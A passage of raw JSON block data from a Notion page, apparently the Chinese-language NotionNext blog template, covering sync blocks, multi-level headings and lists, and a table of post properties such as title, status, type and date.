ormat":{"page_font":"serif","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1666241740033,"last_edited_time":1711083217619,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f"}},"02ab3b86-7800-4aa6-9e9e-415905ef32a5":{"value":{"id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","type":"collection_view_page","content":["254eced8-9cba-4f90-9990-a885bd567dd0"],"view_ids":["b7eb2157-2022-4ca5-827b-faa5ef82cf2d","5010afdb-92b5-4f49-958b-0b8c900d6190","a80c22ef-8b56-410d-af06-07615c5f2654","e17348d8-5a80-4f02-813c-025b790d16c8"],"collection_id":"4379bc14-5d22-453b-a153-12639616fc01","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"4379bc14-5d22-453b-a153-12639616fc01","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"copied_from_pointer":{"id":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"27074aef-7216-41ed-baef-d9b53addd870"},{"role":"reader","type":"public_permission","added_timestamp":1681797627522}],"created_time":1636081968996,"last_edited_time":1711250944168,"parent_id":"cbcf52f3-6400-43ff-8a25-eb7ccd5eb694","parent_table":"block","alive":true,"copied_from":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","file_ids":["abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"]}},"1011ab97-eb40-4c4e-ad98-1e7459e67c8e":{"value":{"id":"1011ab97-eb40-4c4e-ad98-1e7459e67c8e","type":"text","properties":{"title":[["【sync-block】这是一段来自示例文章-3的段落 ,通过 SyncBlock同步。"]]},"created_time":1666242540000,"last_edited_time":1666242660000,"parent_id":"77239aff-d7f9-46c1-a865-bf5f8c778674","parent_table":"block","alive":true}},"7050f906-9255-4e76-840e-000da98df97d":{"value":{"id":"7050f906-9255-4e76-840e-000da98df97d","type":"callout","properties":{"title":[["注意",[["h","red_background"]]],[" : 同步块的使用条件是源页面也要被"],["开放共享",[["b"]]],[" ,否则NotionNext将无权访问,页面上会被忽略渲染。"]]},"content":["50755cdd-c61c-4731-a86e-c393efeb6d3e"],"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"85c3d346-dbda-4f2b-b17e-67c7223e80b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85c3d346-dbda-4f2b-b17e-67c7223e80b9"}},"50755cdd-c61c-4731-a86e-c393efeb6d3e":{"value":{"id":"50755cdd-c61c-4731-a86e-c393efeb6d3e","type":"image","properties":{"size":[["33.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png"]]},"format":{"block_width":528,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.13596491228070176,"copied_from_pointer":{"id":"23f23ef1-d518-44aa-9439-4a06d7774a8c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"7050f906-9255-4e76-840e-000da98df97d","parent_table":"block","alive":true,"copied_from":"23f23ef1-d518-44aa-9439-4a06d7774a8c","file_ids":["e078a58d-d9a8-48ac-8489-34d9d71b03c8"]}},"eb25cdb8-697c-4b55-a556-e416f9ecdbfb":{"value":{"id":"eb25cdb8-697c-4b55-a556-e416f9ecdbfb","type":"text","format":{"copied_from_pointer":{"id":"0f6131b5-59f8-4b3d-811d-cb5cb7330590","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0f6131b5-59f8-4b3d-811d-cb5cb7330590"}},"b4f0f638-f797-4040-9600-f5576c4520be":{"value":{"id":"b4f0f638-f797-4040-9600-f5576c4520be","type":"header","properties":{"title":[["多级目录"]]},"format":{"copied_from_pointer":{"id":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea"}},"4038cfa4-b79f-4562-b5d8-9ed98addba56":{"value":{"id":"4038cfa4-b79f-4562-b5d8-9ed98addba56","type":"text","properties":{"title":[["heading标题在博客中自动转为目录"]]},"format":{"copied_from_pointer":{"id":"9047c555-5912-403a-8de0-2ec80ccc25a2","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9047c555-5912-403a-8de0-2ec80ccc25a2"}},"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956":{"value":{"id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","type":"column_list","content":["f8396978-e681-4406-9a4e-d42c568575be","10a71b93-15b6-4dc7-9f1e-3bd3f20cd257"],"format":{"copied_from_pointer":{"id":"9a38137c-8b87-4a32-94ae-4fa556f0470a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9a38137c-8b87-4a32-94ae-4fa556f0470a"}},"f8396978-e681-4406-9a4e-d42c568575be":{"value":{"id":"f8396978-e681-4406-9a4e-d42c568575be","type":"column","content":["d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","c011c17a-60a6-42d8-acb3-af36dfdadb20"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4"}},"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257":{"value":{"id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","type":"column","content":["22f6632d-d065-4f58-980a-4649c4298727","84010516-7c17-45fd-857c-cb76847b00c3"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"eef90ab9-1637-4c64-bb9d-55930dffc9a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"eef90ab9-1637-4c64-bb9d-55930dffc9a0"}},"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e":{"value":{"id":"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","type":"sub_header","properties":{"title":[["二级目录1"]]},"format":{"copied_from_pointer":{"id":"76620351-2ca1-41b9-bb99-7fec05c79547","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"76620351-2ca1-41b9-bb99-7fec05c79547"}},"22f6632d-d065-4f58-980a-4649c4298727":{"value":{"id":"22f6632d-d065-4f58-980a-4649c4298727","type":"sub_header","properties":{"title":[["二级目录2"]]},"format":{"copied_from_pointer":{"id":"5f4af335-b79a-47ab-b0a7-ff15268af561","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"5f4af335-b79a-47ab-b0a7-ff15268af561"}},"c011c17a-60a6-42d8-acb3-af36dfdadb20":{"value":{"id":"c011c17a-60a6-42d8-acb3-af36dfdadb20","type":"text","properties":{"title":[["二级内容 1"]]},"format":{"copied_from_pointer":{"id":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e"}},"84010516-7c17-45fd-857c-cb76847b00c3":{"value":{"id":"84010516-7c17-45fd-857c-cb76847b00c3","type":"text","properties":{"title":[["二级内容2"]]},"format":{"copied_from_pointer":{"id":"612c658b-88d9-45bf-ad3e-c05c30b05045","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"612c658b-88d9-45bf-ad3e-c05c30b05045"}},"3ccfd881-f68a-446b-b9e3-ad394ab9d36f":{"value":{"id":"3ccfd881-f68a-446b-b9e3-ad394ab9d36f","type":"sub_header","properties":{"title":[["二级目录3"]]},"format":{"copied_from_pointer":{"id":"19383acf-0337-4fa1-82d3-b6785c6af8b7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19383acf-0337-4fa1-82d3-b6785c6af8b7"}},"522cceae-719e-47fe-880a-29732a5e4ca5":{"value":{"id":"522cceae-719e-47fe-880a-29732a5e4ca5","type":"column_list","content":["24a21de2-667a-43cd-930a-33507a87774b","d1f54f28-cf6e-4ce0-bbf2-69726a858083"],"format":{"copied_from_pointer":{"id":"140ac967-244b-435d-87ae-fcd881bba04f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"140ac967-244b-435d-87ae-fcd881bba04f"}},"24a21de2-667a-43cd-930a-33507a87774b":{"value":{"id":"24a21de2-667a-43cd-930a-33507a87774b","type":"column","content":["360a1985-e525-4b4c-b2a5-4bf8a562ddaa","1399dc70-c071-48a7-8eaa-e90e24fd1d82"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"13dd7205-04d9-419e-89cc-68ea0105327b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"13dd7205-04d9-419e-89cc-68ea0105327b"}},"d1f54f28-cf6e-4ce0-bbf2-69726a858083":{"value":{"id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","type":"column","content":["3bb570e1-4846-4ef2-87a6-937dbe4cad6c","666dd094-fafb-4f8a-bb0a-057bb2cbf618"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"72aaf179-5b36-4571-9a8d-1aeff2588a75","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"72aaf179-5b36-4571-9a8d-1aeff2588a75"}},"360a1985-e525-4b4c-b2a5-4bf8a562ddaa":{"value":{"id":"360a1985-e525-4b4c-b2a5-4bf8a562ddaa","type":"sub_sub_header","properties":{"title":[["三级目录3.1"]]},"format":{"copied_from_pointer":{"id":"9d91f3d6-d3b7-4601-8bac-d18971ff891f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"9d91f3d6-d3b7-4601-8bac-d18971ff891f"}},"3bb570e1-4846-4ef2-87a6-937dbe4cad6c":{"value":{"id":"3bb570e1-4846-4ef2-87a6-937dbe4cad6c","type":"sub_sub_header","properties":{"title":[["三级目录3.2"]]},"format":{"copied_from_pointer":{"id":"0a68beb3-8941-4de4-957e-4f067eb1c839","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"0a68beb3-8941-4de4-957e-4f067eb1c839"}},"1399dc70-c071-48a7-8eaa-e90e24fd1d82":{"value":{"id":"1399dc70-c071-48a7-8eaa-e90e24fd1d82","type":"text","properties":{"title":[["不同级别的heading代表不同级别的目录"]]},"format":{"copied_from_pointer":{"id":"996a7ca4-f57c-4dc5-95cc-5f515aae299b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"996a7ca4-f57c-4dc5-95cc-5f515aae299b"}},"666dd094-fafb-4f8a-bb0a-057bb2cbf618":{"value":{"id":"666dd094-fafb-4f8a-bb0a-057bb2cbf618","type":"text","properties":{"title":[["高一级目录嵌套低一级目录"]]},"format":{"copied_from_pointer":{"id":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7"}},"150b9807-a36f-45eb-9892-d9f6a0f1db56":{"value":{"id":"150b9807-a36f-45eb-9892-d9f6a0f1db56","type":"sub_header","properties":{"title":[["多级列表"]]},"format":{"copied_from_pointer":{"id":"67c0f7b6-58f8-4462-85e3-e7aef4174ece","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"67c0f7b6-58f8-4462-85e3-e7aef4174ece"}},"42ab1b80-3546-4a53-a9ca-bb98d854e4c3":{"value":{"id":"42ab1b80-3546-4a53-a9ca-bb98d854e4c3","type":"bulleted_list","properties":{"title":[["事物的必然性"]]},"format":{"copied_from_pointer":{"id":"d23a5aa6-7935-4587-90c5-44ed9381c19a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d23a5aa6-7935-4587-90c5-44ed9381c19a"}},"fd0213c3-3749-4192-9153-a4ed99862478":{"value":{"id":"fd0213c3-3749-4192-9153-a4ed99862478","type":"numbered_list","properties":{"title":[["事物按规律变化,也有一种不可避免的性质.这种性质就叫做"],["必然性",[["b"]]]]},"content":["0088bfb9-cb4d-4598-ae75-0e3730f9396d","ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8"],"format":{"copied_from_pointer":{"id":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475"}},"0088bfb9-cb4d-4598-ae75-0e3730f9396d":{"value":{"id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","type":"numbered_list","properties":{"title":[["事物的必然性,是事物本身的性质(我们反对宿命论的是其认为这一切是受神明的支配,而不是反对事物发展中存在的不可避免的性质的事实)"]]},"content":["59e81d6f-cd4d-41ef-b5eb-34c35a923f75","041c0475-c611-48d7-81b0-d2f014771748"],"format":{"copied_from_pointer":{"id":"5482440b-ad3a-4e2c-911d-226cebed353c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"5482440b-ad3a-4e2c-911d-226cebed353c"}},"59e81d6f-cd4d-41ef-b5eb-34c35a923f75":{"value":{"id":"59e81d6f-cd4d-41ef-b5eb-34c35a923f75","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"e268c632-795a-4e9f-93cc-553cdebbffb8","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"e268c632-795a-4e9f-93cc-553cdebbffb8"}},"041c0475-c611-48d7-81b0-d2f014771748":{"value":{"id":"041c0475-c611-48d7-81b0-d2f014771748","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"211f8283-13c5-415f-92f5-f96db1ff8bf6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","parent_table":"block","alive":true,"copied_from":"211f8283-13c5-415f-92f5-f96db1ff8bf6"}},"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8":{"value":{"id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","type":"numbered_list","properties":{"title":[["其决定于它自己本身发展的情况和周围的条件"]]},"content":["e7d4f134-5b60-4e18-8deb-d9b4d09e5463"],"format":{"copied_from_pointer":{"id":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991046,"last_edited_time":1705638991046,"parent_id":"fd0213c3-3749-4192-9153-a4ed99862478","parent_table":"block","alive":true,"copied_from":"edf25784-54d5-4c65-ac1e-7f3ac52e6ab4"}},"e7d4f134-5b60-4e18-8deb-d9b4d09e5463":{"value":{"id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"content":["7c40fcc2-6bd0-4bd5-b352-221b86d56e65"],"format":{"copied_from_pointer":{"id":"be780eee-e70c-45d5-a5ad-36bf9a3434a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8","parent_table":"block","alive":true,"copied_from":"be780eee-e70c-45d5-a5ad-36bf9a3434a0"}},"7c40fcc2-6bd0-4bd5-b352-221b86d56e65":{"value":{"id":"7c40fcc2-6bd0-4bd5-b352-221b86d56e65","type":"numbered_list","properties":{"title":[["第三级别列表"]]},"format":{"copied_from_pointer":{"id":"46382638-5d6f-4be9-b7b3-ea077022a53e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991057,"last_edited_time":1705638991057,"parent_id":"e7d4f134-5b60-4e18-8deb-d9b4d09e5463","parent_table":"block","alive":true,"copied_from":"46382638-5d6f-4be9-b7b3-ea077022a53e"}},"0186f962-3e26-4d4c-94ac-91763ada0633":{"value":{"id":"0186f962-3e26-4d4c-94ac-91763ada0633","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"f39623e6-3751-4a0d-9ce9-f2eb40146491","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f39623e6-3751-4a0d-9ce9-f2eb40146491"}},"7d0286ac-a9d7-4830-af71-ef7b45c2f171":{"value":{"id":"7d0286ac-a9d7-4830-af71-ef7b45c2f171","type":"text","properties":{"title":[["若要部署你的NotionNext项目,请复制该模板,并按照模板格式创建文章:"]]},"format":{"copied_from_pointer":{"id":"e9273669-ed36-451d-a3f9-787837fb8386","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e9273669-ed36-451d-a3f9-787837fb8386"}},"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b":{"value":{"id":"e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","type":"bookmark","properties":{"link":[["https://tanghh.notion.site/02ab3b8678004aa69e9e415905ef32a5?v=b7eb215720224ca5827bfaa5ef82cf2d"]],"title":[["NOTION BLOG"]],"description":[["演示站点描述"]]},"format":{"bookmark_cover":"https://tanghh.notion.site/image/https%3A%2F%2Fp1.qhimg.com%2Fbdm%2F1600_900_100%2Ft01e66d486b8e826270.jpg?table=collection\u0026id=4379bc14-5d22-453b-a153-12639616fc01\u0026spaceId=6c096b44-beb9-48ee-8f92-1efdde47f3a3\u0026width=2000\u0026userId=\u0026cache=v2","copied_from_pointer":{"id":"19936e6c-1a77-4685-b1b0-932bc8b7d40b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19936e6c-1a77-4685-b1b0-932bc8b7d40b"}},"c994ab66-5436-4200-bc41-90a32ae0ee7e":{"value":{"id":"c994ab66-5436-4200-bc41-90a32ae0ee7e","type":"text","properties":{"title":[["Notion页面中,每篇文章都将有以下属性🤔:"]]},"format":{"copied_from_pointer":{"id":"548780a2-7746-435c-8799-628311eb197b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"548780a2-7746-435c-8799-628311eb197b"}},"e0c369fb-2c38-4e2d-b639-361bca715727":{"value":{"id":"e0c369fb-2c38-4e2d-b639-361bca715727","type":"table","content":["05186514-3dc8-4849-9475-59b850a6b0cc","07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","f06bb257-3f4a-4403-bb69-7b1d74d06904","03ede0f3-7648-4ea1-bf04-813153286b95","a2fa28f1-bc0d-4652-b178-7930b36dd23f","0c387878-efc6-4b90-8864-a761e254afa5","64862808-6468-41fc-99b2-70dff39315e7","4d6f361a-43ee-4036-84c0-528b8db99127","3a7fc9cc-3076-4fb0-ad05-c85def990def","422651c6-3a69-448d-88de-41bac662105d","12373e99-0812-4e9d-9d7b-a5e57bbab2ad"],"format":{"copied_from_pointer":{"id":"605a007d-fc0f-4aba-9d83-d6646f75e29c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"table_block_row_header":true,"table_block_column_order":["BYf{","GENW","Js[p","`VuO"],"table_block_column_format":{"BYf{":{"width":148},"GENW":{"width":77.00000762939453},"Js[p":{"width":239.00001525878906},"`VuO":{"width":315.66668701171875}},"table_block_column_header":true},"created_time":1705638991036,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"605a007d-fc0f-4aba-9d83-d6646f75e29c"}},"05186514-3dc8-4849-9475-59b850a6b0cc":{"value":{"id":"05186514-3dc8-4849-9475-59b850a6b0cc","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"a3ba15e7-f1f0-45a0-b2e2-65afa2383a4c"}},"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7":{"value":{"id":"07a88149-8cfd-4a1f-8e3d-d4c0f2e092e7","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"b6161c75-f30b-4f12-9184-2facf8050e3f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b6161c75-f30b-4f12-9184-2facf8050e3f"}},"f06bb257-3f4a-4403-bb69-7b1d74d06904":{"value":{"id":"f06bb257-3f4a-4403-bb69-7b1d74d06904","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20cd43c7-7dbe-4684-8fd6-7c5d3cccb867"}},"03ede0f3-7648-4ea1-bf04-813153286b95":{"value":{"id":"03ede0f3-7648-4ea1-bf04-813153286b95","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"4a616b4b-9351-4c57-9f18-7236093fef68","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"4a616b4b-9351-4c57-9f18-7236093fef68"}},"a2fa28f1-bc0d-4652-b178-7930b36dd23f":{"value":{"id":"a2fa28f1-bc0d-4652-b178-7930b36dd23f","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"b7eed8de-c073-4960-81ef-b75b014ab5bd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991050,"last_edited_time":1705638991050,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"b7eed8de-c073-4960-81ef-b75b014ab5bd"}},"0c387878-efc6-4b90-8864-a761e254afa5":{"value":{"id":"0c387878-efc6-4b90-8864-a761e254afa5","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["否"]],"Js[p":[["发布日期"]],"`VuO":[["在V3.3.9之前的版本此项为必填。"]]},"format":{"copied_from_pointer":{"id":"20ae1a6e-7d0c-456b-a510-c03cb00454dc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991048,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991048,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table":"block","alive":true,"copied_from":"20ae1a6e-7d0c-456b-a510-c03cb00454dc"}},"64862808-6468-41fc-99b2-70dff39315e7":{"value":{"id":"64862808-6468-41fc-99b2-70dff39315e7","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"44854eb0-485e-48cc-81b6-5b80488d3b7d","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991049,"last_edited_time":1705638991049,"parent_id":"e0c369fb-2c38-4e2d-b639-361bca715727","parent_table"